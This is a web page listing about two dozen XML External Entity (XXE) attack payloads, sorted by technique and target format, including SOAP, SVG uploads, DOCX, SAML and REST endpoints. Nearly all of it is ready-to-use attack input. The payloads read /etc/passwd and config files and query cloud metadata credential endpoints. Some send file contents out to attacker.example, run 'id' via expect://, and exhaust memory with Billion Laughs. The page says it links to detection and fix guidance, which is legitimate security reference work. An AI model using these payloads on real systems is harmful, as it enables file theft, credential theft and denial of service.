XXE payloads index
Search and filter every XXE payload on this site by technique, target format and parser or language. Each entry links to the full technique page, where you will find how it works, detection and the exact fix.
24 payloads
Classic in-band XXE file disclosure
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo>Plain XMLSOAPREST XML bodiesClassic in-band XXE file disclosure
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini"> ]> <foo>&xxe;</foo>Plain XMLSOAPREST XML bodiesClassic in-band XXE file disclosure
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/"> ]> <foo>&xxe;</foo>Plain XMLSOAPREST XML bodies<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]> <foo>&xxe;</foo>Plain XMLSOAPSAML<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://localhost:8080/admin"> ]> <foo>&xxe;</foo>Plain XMLSOAPSAMLBlind XXE via out-of-band exfiltration
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.example/evil.dtd"> %xxe; ]> <foo>trigger</foo>Plain XMLSOAPOffice Open XMLBlind XXE via out-of-band exfiltration
<!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.example/log?x=%file;'>"> %eval; %exfil;Plain XMLSOAPOffice Open XML<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error;Plain XMLSOAP<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.example/error.dtd"> %xxe; ]> <foo>trigger</foo>Plain XMLSOAPXXE via XML parameter entities
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "file:///etc/passwd"> %xxe; ]> <foo>trigger</foo>Plain XMLSOAP- Nested parameter entity declarationOOBmedium
XXE via XML parameter entities
<!ENTITY % outer "<!ENTITY % inner SYSTEM 'file:///etc/hostname'>"> %outer; %inner;Plain XMLSOAP Local DTD reuse (error-based, no OOB)
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ]> <foo>trigger</foo>Plain XMLSOAP- XInclude file readmedium
<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/> </foo>Plain XMLSOAPServer-built XML <foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="http://169.254.169.254/latest/meta-data/"/> </foo>Plain XMLSOAPServer-built XML<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php"> ]> <foo>&xxe;</foo>Plain XMLSOAP<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "expect://id"> ]> <foo>&xxe;</foo>Plain XMLSOAP<?xml version="1.0" standalone="yes"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]> <svg xmlns="http://www.w3.org/2000/svg" width="400" height="60"> <text x="10" y="40">&xxe;</text> </svg>SVGImage upload pipelines<?xml version="1.0"?> <!DOCTYPE svg [ <!ENTITY % xxe SYSTEM "http://attacker.example/evil.dtd"> %xxe; ]> <svg xmlns="http://www.w3.org/2000/svg"></svg>SVGImage upload pipelinesXXE via Office Open XML documents
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE w:document [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <w:document ...> <w:body><w:p><w:r><w:t>&xxe;</w:t></w:r></w:p></w:body> </w:document>DOCXXLSXPPTXOffice Open XMLXXE via Office Open XML documents
<!DOCTYPE w:document [ <!ENTITY % xxe SYSTEM "http://attacker.example/evil.dtd"> %xxe; ]>DOCXXLSXPPTXOffice Open XML<?xml version="1.0"?> <!DOCTYPE samlp:Response [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <samlp:Response ...> <saml:Assertion>...&xxe;...</saml:Assertion> </samlp:Response>SAMLXML (SSO)- Re-send a JSON request as XMLOOBmedium
XXE by switching JSON endpoints to XML
POST /api/user HTTP/1.1 Content-Type: application/xml <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user><name>&xxe;</name></user>REST APIsPlain XML Billion Laughs entity-expansion DoS
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>Plain XMLSOAPAny XML endpointBillion Laughs entity-expansion DoS
<?xml version="1.0"?> <!DOCTYPE kaboom [ <!ENTITY a "aaaaaaaaaa... (large)"> ]> <kaboom>&a;&a;&a;&a;&a;&a;&a;... (many)</kaboom>Plain XMLSOAPAny XML endpoint